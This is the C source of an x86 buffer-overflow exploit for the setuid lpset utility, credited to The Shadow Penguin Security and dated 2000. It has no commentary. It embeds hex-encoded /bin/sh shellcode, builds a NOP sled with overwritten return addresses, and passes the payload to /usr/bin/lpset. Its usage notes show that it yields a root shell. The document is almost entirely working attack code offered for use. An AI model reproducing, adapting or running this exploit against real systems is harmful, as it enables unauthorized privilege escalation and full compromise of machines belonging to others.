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- /*=============================================================================
- ex_lpset.c Overflow Exploits( for Intel x86 Edition)
- The Shadow Penguin Security (http://base.oc.to:/skyscraper/byte/551)
- Written by UNYUN (unewn4th@usa.net)
- [usage]
- % gcc ex_lpset.c (This example program)
- % a.out
- #
- =============================================================================*/
-
- #define ADJUST 3
- #define OFFSET 0x3b88
- #define STARTADR 700
- #define ENDADR 1200
- #define EX_STADR 8000
- #define BUFSIZE 22000
-
- #define NOP 0x90
-
- unsigned long ret_adr;
- int i;
-
- char exploit_code[] =
- "\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
- "\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff\x55"
- "\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33\xc0"
- "\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e"
- "\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3"
- "\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46\x08"
- "\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01\xe8"
- "\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/sh";
-
- unsigned long get_sp(void)
- {
- __asm__(" movl %esp,%eax ");
- }
-
- static char x[BUFSIZE];
-
- main(int argc, char **argv)
- {
- memset(x,NOP,18000);
- ret_adr=get_sp()-OFFSET;
- printf("Jumping Address = 0x%lx\n",ret_adr);
- for (i = ADJUST+STARTADR; i<ENDADR ; i+=4)
- {
- x[i+2]=ret_adr & 0xff;
- x[i+3]=(ret_adr >> 8 ) &0xff;
- x[i+0]=(ret_adr >> 16 ) &0xff;
- x[i+1]=(ret_adr >> 24 ) &0xff;
- }
- for (i=0;i<strlen(exploit_code);i++) x[i+EX_STADR]=exploit_code[i];
- x[5000]='=';
- x[18000]=0;
- execl("/usr/bin/lpset","lpset","-n","xfn","-a",x,"lpcol1",(char *) 0);
- }
- /* www.hack.co.za [2000]*/